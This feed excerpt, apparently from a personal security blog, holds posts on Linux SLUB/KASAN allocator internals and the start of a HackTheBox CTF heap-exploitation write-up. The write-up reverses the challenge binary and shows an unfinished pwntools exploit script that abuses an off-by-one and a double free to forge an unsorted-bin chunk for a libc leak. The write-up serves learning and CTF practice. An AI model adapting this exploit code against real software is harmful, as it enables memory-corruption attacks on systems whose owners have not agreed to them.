		*pos += 1;
		if (*pos &amp;gt;= freelist_count)
			*pos = 0;
	} while (unlikely(idx &amp;gt;= page_limit));

	return (char *)start + idx;
}

// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L1843

/* Initialize each random sequence freelist per cache */
static void __init init_freelist_randomization(void)
{
	struct kmem_cache *s;

	mutex_lock(&amp;amp;slab_mutex);

	list_for_each_entry(s, &amp;amp;slab_caches, list)
		init_cache_random_seq(s);

	mutex_unlock(&amp;amp;slab_mutex);
}

// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L1816

static int init_cache_random_seq(struct kmem_cache *s)
{
	unsigned int count = oo_objects(s-&amp;gt;oo);
	int err;

	/* Bailout if already initialised */
	if (s-&amp;gt;random_seq)
		return 0;

	err = cache_random_seq_create(s, count, GFP_KERNEL);
	if (err) {
		pr_err(&quot;SLUB: Unable to initialize free list for %s\n&quot;,
			s-&amp;gt;name);
		return err;
	}

	/* Transform to an offset on the set of pages */
	if (s-&amp;gt;random_seq) {
		unsigned int i;

		for (i = 0; i &amp;lt; count; i++)
			s-&amp;gt;random_seq[i] *= s-&amp;gt;size;
	}
	return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;kasan_info&lt;/code&gt; is a cache used by the Kernel Address Sanizer (KASAN), it keeps track of freed chunks, especially by storing informations within the redzone. Here are some of the operations performed by KASAN:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/kasan/common.c#L138

void __kasan_cache_create(struct kmem_cache *cache, unsigned int *size,
			  slab_flags_t *flags)
{
	unsigned int ok_size;
	unsigned int optimal_size;

	/*
	 * SLAB_KASAN is used to mark caches as ones that are sanitized by
	 * KASAN. Currently this flag is used in two places:
	 * 1. In slab_ksize() when calculating the size of the accessible
	 *    memory within the object.
	 * 2. In slab_common.c to prevent merging of sanitized caches.
	 */
	*flags |= SLAB_KASAN;

	if (!kasan_stack_collection_enabled())
		return;

	ok_size = *size;

	/* Add alloc meta into redzone. */
	cache-&amp;gt;kasan_info.alloc_meta_offset = *size;
	*size += sizeof(struct kasan_alloc_meta);

	/*
	 * If alloc meta doesn&apos;t fit, don&apos;t add it.
	 * This can only happen with SLAB, as it has KMALLOC_MAX_SIZE equal
	 * to KMALLOC_MAX_CACHE_SIZE and doesn&apos;t fall back to page_alloc for
	 * larger sizes.
	 */
	if (*size &amp;gt; KMALLOC_MAX_SIZE) {
		cache-&amp;gt;kasan_info.alloc_meta_offset = 0;
		*size = ok_size;
		/* Continue, since free meta might still fit. */
	}

	/* Only the generic mode uses free meta or flexible redzones. */
	if (!IS_ENABLED(CONFIG_KASAN_GENERIC)) {
		cache-&amp;gt;kasan_info.free_meta_offset = KASAN_NO_FREE_META;
		return;
	}

	/*
	 * Add free meta into redzone when it&apos;s not possible to store
	 * it in the object. This is the case when:
	 * 1. Object is SLAB_TYPESAFE_BY_RCU, which means that it can
	 *    be touched after it was freed, or
	 * 2. Object has a constructor, which means it&apos;s expected to
	 *    retain its content until the next allocation, or
	 * 3. Object is too small.
	 * Otherwise cache-&amp;gt;kasan_info.free_meta_offset = 0 is implied.
	 */
	if ((cache-&amp;gt;flags &amp;amp; SLAB_TYPESAFE_BY_RCU) || cache-&amp;gt;ctor ||
	    cache-&amp;gt;object_size &amp;lt; sizeof(struct kasan_free_meta)) {
		ok_size = *size;

		cache-&amp;gt;kasan_info.free_meta_offset = *size;
		*size += sizeof(struct kasan_free_meta);

		/* If free meta doesn&apos;t fit, don&apos;t add it. */
		if (*size &amp;gt; KMALLOC_MAX_SIZE) {
			cache-&amp;gt;kasan_info.free_meta_offset = KASAN_NO_FREE_META;
			*size = ok_size;
		}
	}

	/* Calculate size with optimal redzone. */
	optimal_size = cache-&amp;gt;object_size + optimal_redzone(cache-&amp;gt;object_size);
	/* Limit it with KMALLOC_MAX_SIZE (relevant for SLAB only). */
	if (optimal_size &amp;gt; KMALLOC_MAX_SIZE)
		optimal_size = KMALLOC_MAX_SIZE;
	/* Use optimal size if the size with added metas is not large enough. */
	if (*size &amp;lt; optimal_size)
		*size = optimal_size;
}

void __kasan_cache_create_kmalloc(struct kmem_cache *cache)
{
	cache-&amp;gt;kasan_info.is_kmalloc = true;
}

size_t __kasan_metadata_size(struct kmem_cache *cache)
{
	if (!kasan_stack_collection_enabled())
		return 0;
	return (cache-&amp;gt;kasan_info.alloc_meta_offset ?
		sizeof(struct kasan_alloc_meta) : 0) +
		(cache-&amp;gt;kasan_info.free_meta_offset ?
		sizeof(struct kasan_free_meta) : 0);
}

struct kasan_alloc_meta *kasan_get_alloc_meta(struct kmem_cache *cache,
					      const void *object)
{
	if (!cache-&amp;gt;kasan_info.alloc_meta_offset)
		return NULL;
	return kasan_reset_tag(object) + cache-&amp;gt;kasan_info.alloc_meta_offset;
}

#ifdef CONFIG_KASAN_GENERIC
struct kasan_free_meta *kasan_get_free_meta(struct kmem_cache *cache,
					    const void *object)
{
	BUILD_BUG_ON(sizeof(struct kasan_free_meta) &amp;gt; 32);
	if (cache-&amp;gt;kasan_info.free_meta_offset == KASAN_NO_FREE_META)
		return NULL;
	return kasan_reset_tag(object) + cache-&amp;gt;kasan_info.free_meta_offset;
}
#endif

void __kasan_poison_slab(struct slab *slab)
{
	struct page *page = slab_page(slab);
	unsigned long i;

	for (i = 0; i &amp;lt; compound_nr(page); i++)
		page_kasan_tag_reset(page + i);
	kasan_poison(page_address(page), page_size(page),
		     KASAN_KMALLOC_REDZONE, false);
}
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux kernel side notes</title><link>https://n4sm.github.io/posts/lowlevelnotes/</link><guid isPermaLink="true">https://n4sm.github.io/posts/lowlevelnotes/</guid><pubDate>Mon, 18 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Here are just some side notes about linux kernel internals I put here to avoid to have to learn same things again and again. Every notes target &lt;a href=&quot;https://elixir.bootlin.com/linux/v5.18.12/source/kernel&quot;&gt;linux kernel 5.18.12&lt;/a&gt;.
There will be a lot of code for which I do not comment the whole part.&lt;/p&gt;
&lt;h1&gt;Kernel heap management (SLUB, SLAB, SLOB)&lt;/h1&gt;
&lt;p&gt;Same way as for userland, the kernel has many algorithms to manage memory allocation according to what the kernel is looking for (huge resources or not, safety needs etc).&lt;/p&gt;
&lt;h2&gt;SLUB&lt;/h2&gt;
&lt;p&gt;The SLUB algorithm is the algorithm I know the more, so that&apos;s the one I will cover first. To allocate dynamically memory, the kernel provides the &lt;code&gt;kmalloc&lt;/code&gt; function to which you can provide flags:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/**
 * kmalloc - allocate memory
 * @size: how many bytes of memory are required.
 * @flags: the type of memory to allocate.
 *
 * kmalloc is the normal method of allocating memory
 * for objects smaller than page size in the kernel.
 *
 * The allocated object address is aligned to at least ARCH_KMALLOC_MINALIGN
 * bytes. For @size of power of two bytes, the alignment is also guaranteed
 * to be at least to the size.
 *
 * The @flags argument may be one of the GFP flags defined at
 * include/linux/gfp.h and described at
 * :ref:`Documentation/core-api/mm-api.rst &amp;lt;mm-api-gfp-flags&amp;gt;`
 *
 * The recommended usage of the @flags is described at
 * :ref:`Documentation/core-api/memory-allocation.rst &amp;lt;memory_allocation&amp;gt;`
 *
 * Below is a brief outline of the most useful GFP flags
 *
 * %GFP_KERNEL
 *	Allocate normal kernel ram. May sleep.
 *
 * %GFP_NOWAIT
 *	Allocation will not sleep.
 *
 * %GFP_ATOMIC
 *	Allocation will not sleep.  May use emergency pools.
 *
 * %GFP_HIGHUSER
 *	Allocate memory from high memory on behalf of user.
 *
 * Also it is possible to set different flags by OR&apos;ing
 * in one or more of the following additional @flags:
 *
 * %__GFP_HIGH
 *	This allocation has high priority and may use emergency pools.
 *
 * %__GFP_NOFAIL
 *	Indicate that this allocation is in no way allowed to fail
 *	(think twice before using).
 *
 * %__GFP_NORETRY
 *	If memory is not immediately available,
 *	then give up at once.
 *
 * %__GFP_NOWARN
 *	If allocation fails, don&apos;t issue any warnings.
 *
 * %__GFP_RETRY_MAYFAIL
 *	Try really hard to succeed the allocation but fail
 *	eventually.
 */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;What are the main structures of SLUB management ? This can be described by this picture for which we will review each of the data structures (pic from &lt;a href=&quot;https://programmersought.com/article/362810197389/&quot;&gt;here&lt;/a&gt;):&lt;/p&gt;
&lt;p&gt;&amp;lt;img align=&quot;center&quot; width=&quot;100%&quot; src=&quot;../../../SLUB_schema1.png&quot;&amp;gt;&lt;/p&gt;
&lt;p&gt;To cover the whole allocation process, we will review the main structures to then take a look at the actual allocation algorithm.
Given the complexity of such structures, each of these structures are treated in separate articles:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;../kmem_cache&quot;&gt;kmem_cache&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Let&apos;s take a look at the source code of the &lt;code&gt;__kmalloc&lt;/code&gt; SLUB implemementation:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L4399
void *__kmalloc(size_t size, gfp_t flags)
{
	struct kmem_cache *s;
	void *ret;

	if (unlikely(size &amp;gt; KMALLOC_MAX_CACHE_SIZE))
		return kmalloc_large(size, flags);

	s = kmalloc_slab(size, flags);

	if (unlikely(ZERO_OR_NULL_PTR(s)))
		return s;

	ret = slab_alloc(s, NULL, flags, _RET_IP_, size);

	trace_kmalloc(_RET_IP_, ret, size, s-&amp;gt;size, flags);

	ret = kasan_kmalloc(s, ret, size, flags);

	return ret;
}
EXPORT_SYMBOL(__kmalloc);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Large allocations&lt;/h3&gt;
&lt;p&gt;Thus, if the requested size is larger than &lt;code&gt;KMALLOC_MAX_CACHE_SIZE&lt;/code&gt;, &lt;code&gt;kmalloc_large&lt;/code&gt; is called, and &lt;code&gt;kmalloc_order&lt;/code&gt; is called according to a particular &lt;code&gt;order&lt;/code&gt;that represents the number of pages from the requested size:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slab_common.c#L944
/*
 * To avoid unnecessary overhead, we pass through large allocation requests
 * directly to the page allocator. We use __GFP_COMP, because we will need to
 * know the allocation order to free the pages properly in kfree.
 */
void *kmalloc_order(size_t size, gfp_t flags, unsigned int order)
{
	void *ret = NULL;
	struct page *page;

	if (unlikely(flags &amp;amp; GFP_SLAB_BUG_MASK))
		flags = kmalloc_fix_flags(flags);

	flags |= __GFP_COMP;
	page = alloc_pages(flags, order);
	if (likely(page)) {
		ret = page_address(page);
		mod_lruvec_page_state(page, NR_SLAB_UNRECLAIMABLE_B,
				PAGE_SIZE &amp;lt;&amp;lt; order);
	}
	ret = kasan_kmalloc_large(ret, size, flags);
	/* As ret might get tagged, call kmemleak hook after KASAN. */
	kmemleak_alloc(ret, size, 1, flags);
	return ret;
}
EXPORT_SYMBOL(kmalloc_order);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;__GFP_COMP&lt;/code&gt; stands for the allocation of &quot;compound pages&quot;, to quote Jonathan Corbet from &lt;a href=&quot;https://lwn.net/Articles/619514/&quot;&gt;this article&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A compound page is simply a grouping of two or more physically contiguous pages into a unit that can, in many ways, be treated as a single, larger page. They are most commonly used to create huge pages, used within hugetlbfs or the transparent huge pages subsystem, but they show up in other contexts as well. Compound pages can serve as anonymous memory or be used as buffers within the kernel; they cannot, however, appear in the page cache, which is only prepared to deal with singleton pages.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The actual allocation is made in &lt;code&gt;alloc_pages&lt;/code&gt;, more specifically in &lt;code&gt;__alloc_pages&lt;/code&gt; that requests pages to the buddy allocator. But that&apos;s out of scope for now. Thus what we know is that large allocations are handled directly by the buddy system.&lt;/p&gt;
&lt;h3&gt;Small allocations&lt;/h3&gt;
&lt;p&gt;By following the other code path &lt;code&gt;kmalloc_slab&lt;/code&gt; is called:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slab_common.c#L730
/*
 * Find the kmem_cache structure that serves a given size of
 * allocation
 */
struct kmem_cache *kmalloc_slab(size_t size, gfp_t flags)
{
	unsigned int index;

	if (size &amp;lt;= 192) {
		if (!size)
			return ZERO_SIZE_PTR;

		index = size_index[size_index_elem(size)];
	} else {
		if (WARN_ON_ONCE(size &amp;gt; KMALLOC_MAX_CACHE_SIZE))
			return NULL;
		index = fls(size - 1);
	}

	return kmalloc_caches[kmalloc_type(flags)][index];
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;kmem_cache_init&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;kmalloc_slab&lt;/code&gt; returns the &lt;code&gt;kmalloc_cache&lt;/code&gt; entry that matchs the provided flags and size. Let&apos;s see how is initialized this array, the main initialization occurs in &lt;code&gt;kmem_cache_init&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void __init kmem_cache_init(void)
{
	static __initdata struct kmem_cache boot_kmem_cache,
			  boot_kmem_cache_node;
	int node;

	if (debug_guardpage_minorder())
		slub_max_order = 0;

	/* Print slub debugging pointers without hashing */
	if (__slub_debug_enabled())
		no_hash_pointers_enable(NULL);

	kmem_cache_node = &amp;amp;boot_kmem_cache_node;
	kmem_cache = &amp;amp;boot_kmem_cache;

	/*
	 * Initialize the nodemask for which we will allocate per node
	 * structures. Here we don&apos;t need taking slab_mutex yet.
	 */
	for_each_node_state(node, N_NORMAL_MEMORY)
		node_set(node, slab_nodes);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;slab_nodes&lt;/code&gt; is a &lt;a href=&quot;https://0xax.gitbooks.io/linux-insides/content/DataStructures/linux-datastructures-3.html&quot;&gt;bitmap&lt;/a&gt; representing the nodes used by the kernel. Given we&apos;re on x86-64 the cpu is NUMA but behaves for compatibility purposes like a UMA system. Which means there is only one node used, and in it one &quot;zone&quot;: &lt;code&gt;N_NORMAL_MEMORY&lt;/code&gt;. This way &lt;code&gt;for_each_node_state&lt;/code&gt; loops only one time:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/latest/source/include/linux/nodemask.h#L482
#define for_each_node_state(node, __state) \
	for ( (node) = 0; (node) == 0; (node) = 1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This way &lt;code&gt;slab_nodes&lt;/code&gt; is initialized to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then the first two kmem_cache are created: &lt;code&gt;kmem_cache_node&lt;/code&gt; and &lt;code&gt;kmem_cache&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	// https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L4819
	create_boot_cache(kmem_cache_node, &quot;kmem_cache_node&quot;,
		sizeof(struct kmem_cache_node), SLAB_HWCACHE_ALIGN, 0, 0);

	register_hotmemory_notifier(&amp;amp;slab_memory_callback_nb);

	/* Able to allocate the per node structures */
	slab_state = PARTIAL;

	create_boot_cache(kmem_cache, &quot;kmem_cache&quot;,
			offsetof(struct kmem_cache, node) +
				nr_node_ids * sizeof(struct kmem_cache_node *),
		       SLAB_HWCACHE_ALIGN, 0, 0);

	kmem_cache = bootstrap(&amp;amp;boot_kmem_cache);
	kmem_cache_node = bootstrap(&amp;amp;boot_kmem_cache_node);

	/* Now we can use the kmem_cache to allocate kmalloc slabs */
	setup_kmalloc_cache_index_table();
	create_kmalloc_caches(0);

	/* Setup random freelists for each cache */
	init_freelist_randomization();

	cpuhp_setup_state_nocalls(CPUHP_SLUB_DEAD, &quot;slub:dead&quot;, NULL,
				  slub_cpu_dead);

	pr_info(&quot;SLUB: HWalign=%d, Order=%u-%u, MinObjects=%u, CPUs=%u, Nodes=%u\n&quot;,
		cache_line_size(),
		slub_min_order, slub_max_order, slub_min_objects,
		nr_cpu_ids, nr_node_ids);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s take a look at the main functions. But before that, let&apos;s review the internal layout of the &lt;code&gt;kmem_cache&lt;/code&gt; structure.&lt;/p&gt;
&lt;h1&gt;References&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnblogs.com/adera/p/11718758.html&quot;&gt;cdnblogs, Allocation of mm-slab objects&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cnblogs.com/linhaostudy/p/9992639.html&quot;&gt;cdnblogs, Linux Memory Description of Memory Node Node - Linux Memory Management (II)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://programmersought.com/article/362810197389/&quot;&gt;programmerSought, Linux Memory Management SLUB Distributor 2 [Kmalloc_Cache Structure]&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dingmos.com/index.php/archives/23/&quot;&gt;dingmos, Linux kernel | Memory management - Slab allocator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://wenqupro.com/?thread-20.htm&quot;&gt;wenqupro, Article about kmem_cache&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.csdn.net/m0_37637511/article/details/124960015&quot;&gt;cdnblogs, Slub Allocator Learning Series Linux 5.10&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://zhuanlan.zhihu.com/p/458668727&quot;&gt;zhuanlan, Non-professional understanding slub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.birost.com/a?ID=01100-ba652270-a5d4-4038-91a9-e0c56bcc643b&quot;&gt;Birost, Analysis of linux slub allocator&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lwn.net/Articles/51437/&quot;&gt;LWN, The zen of kobjects&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>[HackTheBox Cyber Apocalypse 2022 - pwn] Once and for all</title><link>https://n4sm.github.io/posts/onceandforall/</link><guid isPermaLink="true">https://n4sm.github.io/posts/onceandforall/</guid><pubDate>Thu, 19 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Once for all is a heap challenge I did during the HackTheBox Cyber Apocalypse event. This is a classic unsorted bin attack plus a FSOP on stdin.
Find the tasks and the final exploit &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://github.com/ret2school/ctf/blob/master/2022/apocalypse/onceAndmore/exploit.py&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Reverse engineering&lt;/h1&gt;
&lt;p&gt;All the snippets of pseudo-code are issued by &lt;a href=&quot;https://hex-rays.com/ida-free/&quot;&gt;IDA freeware&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+18h] [rbp-8h] BYREF
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i &amp;lt;= 49; ++i )
  {
    puts(s);
    printf(&amp;amp;unk_1310);
    __isoc99_scanf(&amp;amp;unk_13C8, &amp;amp;v4);
    puts(s);
    switch ( v4 )
    {
      case 1:
        small_alloc(s);
        break;
      case 2:
        fix(s);
        break;
      case 3:
        examine(s);
        break;
      case 4:
        savebig(s);
        break;
      case 5:
        exit(0);
      default:
        puts(&quot;[-] Invalid choice!&quot;);
        break;
    }
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The binary allows you to allocate a small chunk beetween &lt;code&gt;0x1f&lt;/code&gt; and &lt;code&gt;0x38&lt;/code&gt; bytes:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int small_alloc()
{
  __int64 v1; // rbx
  size_t nmemb; // [rsp+0h] [rbp-20h] BYREF
  __int64 idx[3]; // [rsp+8h] [rbp-18h] BYREF

  if ( allocated == 15 )
    return puts(&quot;Nothing more!&quot;);
  ++allocated;
  printf(&quot;Choose an index: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, idx);
  if ( size_array[2 * idx[0]] || (&amp;amp;alloc_array)[2 * idx[0]] || idx[0] &amp;gt; 0xEuLL )
    return puts(&quot;[-] Invalid!&quot;);
  printf(&quot;\nHow much space do you need for it: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;nmemb);
  if ( nmemb &amp;lt;= 0x1F || nmemb &amp;gt; 0x38 )
    return puts(&quot;[-] Your inventory cannot provide this type of space!&quot;);
  size_array[2 * idx[0]] = nmemb;
  v1 = idx[0];
  (&amp;amp;alloc_array)[2 * v1] = (void **)calloc(nmemb, 1uLL);
  if ( !(&amp;amp;alloc_array)[2 * idx[0]] )
  {
    puts(&quot;[-] Something didn&apos;t work out...&quot;);
    exit(-1);
  }
  puts(&quot;Input your weapon&apos;s details: &quot;);
  
  # off-by-one
  return read(0, (&amp;amp;alloc_array)[2 * idx[0]], nmemb + 1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see right above this function contains an off-by-one vulnerability, which means we can write only one byte right after the allocated chunk, overlapping the size field of the next chunk / top chunk.&lt;/p&gt;
&lt;p&gt;The fix function frees a chunk and asks for another size, then it allocates another chunk with &lt;code&gt;calloc&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int fix()
{
  int result; // eax
  unsigned __int64 v1; // rbx
  unsigned __int64 idx; // [rsp+8h] [rbp-28h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  __int64 v4[3]; // [rsp+18h] [rbp-18h] BYREF

  printf(&quot;Choose an index: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;idx);
  if ( !size_array[2 * idx] || !alloc_array[2 * idx] || idx &amp;gt; 0xE )
    return puts(&quot;[-] Invalid!&quot;);
  puts(&quot;Ok, let&apos;s get you some new parts for this one... seems like it&apos;s broken&quot;);
  free(alloc_array[2 * idx]);
  printf(&quot;\nHow much space do you need for this repair: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;size);
  if ( size &amp;lt;= 0x1F || size &amp;gt; 0x38 )
    # [1] 
    return puts(&quot;[-] Your inventory cannot provide this type of space.&quot;);
  size_array[2 * idx] = size;
  v1 = idx;
  alloc_array[2 * v1] = calloc(size, 1uLL);
  if ( !alloc_array[2 * idx] )
  {
    puts(&quot;Something didn&apos;t work out...&quot;);
    exit(-1);
  }
  puts(&quot;Input your weapon&apos;s details: &quot;);
  read(0, alloc_array[2 * idx], size);
  printf(&quot;What would you like to do now?\n1. Verify weapon\n2. Continue\n&amp;gt;&amp;gt; &quot;);
  __isoc99_scanf(&quot;%lu&quot;, v4);
  result = v4[0];
  if ( v4[0] == 1 )
  {
    if ( verified )
    {
      return puts(&amp;amp;unk_1648);
    }
    else
    {
      result = puts((const char *)alloc_array[2 * idx]);
      verified = 1;
    }
  }
  return result;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we reach &lt;code&gt;[1]&lt;/code&gt;, &lt;code&gt;alloc_array[2 * idx]&lt;/code&gt; is freed leading to a double free.&lt;/p&gt;
&lt;p&gt;We can print a chunk only one time:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int examine()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h] BYREF

  if ( examined )
    return puts(&amp;amp;unk_14D0);
  examined = 1;
  printf(&quot;Choose an index: &quot;);
  __isoc99_scanf(&quot;%lu&quot;, &amp;amp;v1);
  if ( size_array[2 * v1] &amp;amp;&amp;amp; alloc_array[2 * v1] &amp;amp;&amp;amp; v1 &amp;lt;= 0xE )
    return puts((const char *)alloc_array[2 * v1]);
  else
    return puts(&quot;[-] Invalid!&quot;);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally we can malloc a huge chunk, but we cannot wriet anything within:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int savebig()
{
  void *v0; // rax
  size_t size; // [rsp+8h] [rbp-8h] BYREF

  if ( chungus_weapon || qword_202068 )
  {
    LODWORD(v0) = puts(&amp;amp;unk_16E8);
  }
  else
  {
    printf(&quot;How much space do you need for this massive weapon: &quot;);
    __isoc99_scanf(&quot;%lu&quot;, &amp;amp;size);
    if ( (unsigned __int16)size &amp;gt; 0x5AFu &amp;amp;&amp;amp; (unsigned __int16)size &amp;lt;= 0xF5C0u )
    {
      puts(&quot;Adding to your inventory..&quot;);
      chungus_weapon = size;
      v0 = malloc(size);
      qword_202068 = (__int64)v0;
    }
    else
    {
      LODWORD(v0) = puts(&quot;[-] This is not possible..&quot;);
    }
  }
  return (int)v0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;What we have&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;An off-by-one when we create a new chunk&lt;/li&gt;
&lt;li&gt;Double free by calling &lt;code&gt;fix&lt;/code&gt; and then providing an invalid size.&lt;/li&gt;
&lt;li&gt;Trivial read after free thanks to the double free.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Restrictions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;The program does not use &lt;code&gt;printf&lt;/code&gt; with a format specifer, then we cannot do a &lt;a href=&quot;https://maxwelldulin.com/BlogPost?post=3107454976&quot;&gt;House of husk&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;We can only allocate &lt;code&gt;15&lt;/code&gt; chunks.&lt;/li&gt;
&lt;li&gt;All the allocations except the big one are made using &lt;code&gt;calloc&lt;/code&gt;, even if it can be easily bypassed by adding the &lt;code&gt;IS_MAPPED&lt;/code&gt; flag to the chunk header to avoid zero-ing.&lt;/li&gt;
&lt;li&gt;The libc version (&lt;code&gt;2.27&lt;/code&gt;) mitigates a few techniques, especially the &lt;a href=&quot;https://1ce0ear.github.io/2017/11/26/study-house-of-orange/&quot;&gt;House of Orange&lt;/a&gt; and introduces the &lt;code&gt;tcache&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Allocations have to fit in only two fastbins (&lt;code&gt;0x30&lt;/code&gt; / &lt;code&gt;0x40&lt;/code&gt;), which means we cannot get an arbitrary with a &lt;code&gt;fastbin dup&lt;/code&gt; technique due to the size of most of interesting memory areas in the libc (&lt;code&gt;0x7f&lt;/code&gt; =&amp;gt; &lt;code&gt;0x70&lt;/code&gt; fastbin against &lt;code&gt;0x30&lt;/code&gt; / &lt;code&gt;0x40&lt;/code&gt; in our case).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;How to leak libc ?&lt;/h2&gt;
&lt;p&gt;Partial overwrites are as far as I know very hard to get because of &lt;code&gt;calloc&lt;/code&gt;. The first thing to do is to leak libc addresses to then target libc global variables / structures. The classic way to get a libc leak is to free a chunk that belongs to the unsorted bin and then print it. But as seen previously, we cannot allocate a large chunks that would end up in the unsorted bin. To do so we have to use the off-by-one bug to overwrite the next chunk&apos;s size field with a bigger one that would correspond to the unsorted bin (&lt;code&gt;&amp;gt;= 0x90&lt;/code&gt;). We can edit the size of the second chunk from &lt;code&gt;0x30&lt;/code&gt; to &lt;code&gt;0xb0&lt;/code&gt; by doing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def add(idx, size, data, hang=False):
    io.sendlineafter(b&quot;&amp;gt;&amp;gt; &quot;, b&quot;1&quot;)
    io.sendlineafter(b&quot;Choose an index: &quot;, str(idx).encode())
    io.sendlineafter(b&quot;How much space do you need for it: &quot;, str(size).encode())
    if hang == True:
        return

    io.sendlineafter(b&quot;Input your weapon&apos;s details: \n&quot;, data)

def freexalloc(idx, size, data, doubleFree=False):
    io.sendlineafter(b&quot;&amp;gt;&amp;gt; &quot;, b&quot;2&quot;)
    io.sendlineafter(b&quot;Choose an index: &quot;, str(idx).encode())
    io.sendlineafter(b&quot;How much space do you need for this repair: &quot;, str(size).encode())

    if doubleFree:
        return

    io.sendlineafter(b&quot;Input your weapon&apos;s details: \n&quot;, data)
    io.sendlineafter(b&quot;&amp;gt;&amp;gt; &quot;, b&quot;1&quot;)

def show(idx):
    io.sendlineafter(b&quot;&amp;gt;&amp;gt; &quot;, b&quot;3&quot;)
    io.sendlineafter(b&quot;Choose an index: &quot;, str(idx).encode())

def allochuge(size):
    io.sendlineafter(b&quot;&amp;gt;&amp;gt; &quot;, b&quot;4&quot;)
    io.sendlineafter(b&quot;How much space do you need for this massive weapon: &quot;, str(size).encode())

# get libc leak

add(0, 56, b&quot;A&quot;*55)
add(1, 56, b&quot;B&quot;*39)
add(2, 40, b&quot;C&quot;*39) # size
add(4, 56, b&quot;D&quot;*(0x10))
add(5, 40, b&quot;E&quot;*39)

add(10, 40, pwn.p64(0) + pwn.p64(0x21)) # barrier

# freexalloc(5, 560, b&quot;&quot;, doubleFree=True)

freexalloc(1, 560, b&quot;&quot;, doubleFree=True)
freexalloc(0, 560, b&quot;&quot;, doubleFree=True)
freexalloc(2, 560, b&quot;&quot;, doubleFree=True)

freexalloc(1, 560, b&quot;&quot;, doubleFree=True)
add(6, 56, b&quot;\x00&quot;*56  + b&quot;\xb1&quot;) # fake unsorted chunk

&quot;&quot;&quot;
0x555555608560:	0x0000000000000000	0x0000000000000041 [0]
0x555555608570:	0x00005555556085a0	0x4141414141414141
